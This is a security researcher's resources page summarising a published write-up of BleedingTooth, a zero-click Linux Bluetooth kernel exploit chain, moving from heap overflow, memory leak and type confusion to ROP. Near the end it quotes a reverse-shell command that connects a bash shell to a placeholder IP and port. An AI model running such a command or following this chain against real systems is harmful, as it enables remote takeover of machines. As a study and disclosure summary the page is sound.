Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution- 449

GooglePosted 4 Years Ago
  • Within Linux, there is a separate sub-system for dealing with bluetooth. The bluetooth chip communicates with the host OSS using the Host Controller Interface protocol.
  • While manually reviewing the HCI event packet parser, the author noticed that a length check had been removed for the HCI MAX length. From reviewing the path of this code, the usage of this assumes a maximum size validation because of the duplicate path for the regular and extended.
  • Because of this lack of bounds check into a static buffer (via a memcpy), a buffer overflow occurs. The size change from bluetooth 4.0 to 5.0 of 31 to 255 is the reason for this issue. So, this bug is only found in newer Bluetooth devices.
  • With this buffer overflow on the heap, we can fully control members of the hci_dev struct. With this, we control something else that contains a function pointer! Great, but now we need a leak. This bug was not used in the complete exploit.
  • Going through another section of the Bluetooth Linux stack, it is time for another bug! There is a bail out section if the AMP controller is invalid that fills out the id and status of a struct. However, the struct a2mp_info_rsp contains other fields.
  • Because the other fields are never initialized, 16 bytes of data from the attack can be routinely taken. In order to leak the right data, specific commands need to be sent in order to get data in the proper locations. However, this grooming just required some brute forcing in order to figure out.
  • While working on the memory leak, the author got a crash in the ERTM component. After tracing the code, the author realized that a type confusion was occurring when pointers were being passed around.
  • Exploiting the type confusion is tricky! Both objects have lots pointers: we must line these up in such a way that we alter what we want without crashing. This is a powerful primitive though.
  • The only member that we can reasonably corrupt is the sk->sk_filter pointer. However, the actual object being passed in is ONLY of size 0x70 and the offset is at 0x110. So, do we control this? With our current object, no. However, this looks prime for some heap grooming!
  • The author goes into how this heap grooming is done; an object of an arbitrary size can be controlled with arbitrary content! However, the details are specific to the sub-system so I will not cover them.
  • With the setup above, we have an arbitrary read primitive! We have the initial memory leak (uninitialized memory) and now we can dereference an arbitrary pointer that is read back to us. This dereferencing is handy for other things as well.
  • With control over the sk_filter value being dereferenced, we can control a function pointer! This function pointer has a parameter that we can directly pass into RSI (second) after two dereferences.
  • With NX, the author explains their exploit strategy. Because we are using the CALL instruction, we must first COP before we can ROP. The trick to this is to find a gadget that can put RSI (which we control) into the stack pointer to control further execution.
  • To get kernel execution with the new ROP chain, the author uses a known technique to pop a shell. This is done by running /bin/bash -c /bin/bash</dev/tcp/IP/PORT via the run_cmd function in the kernel.
  • Overall, this is an awesome article from bug discovery to complete compromise. The author was even kind enough to leave a POC for us to look at!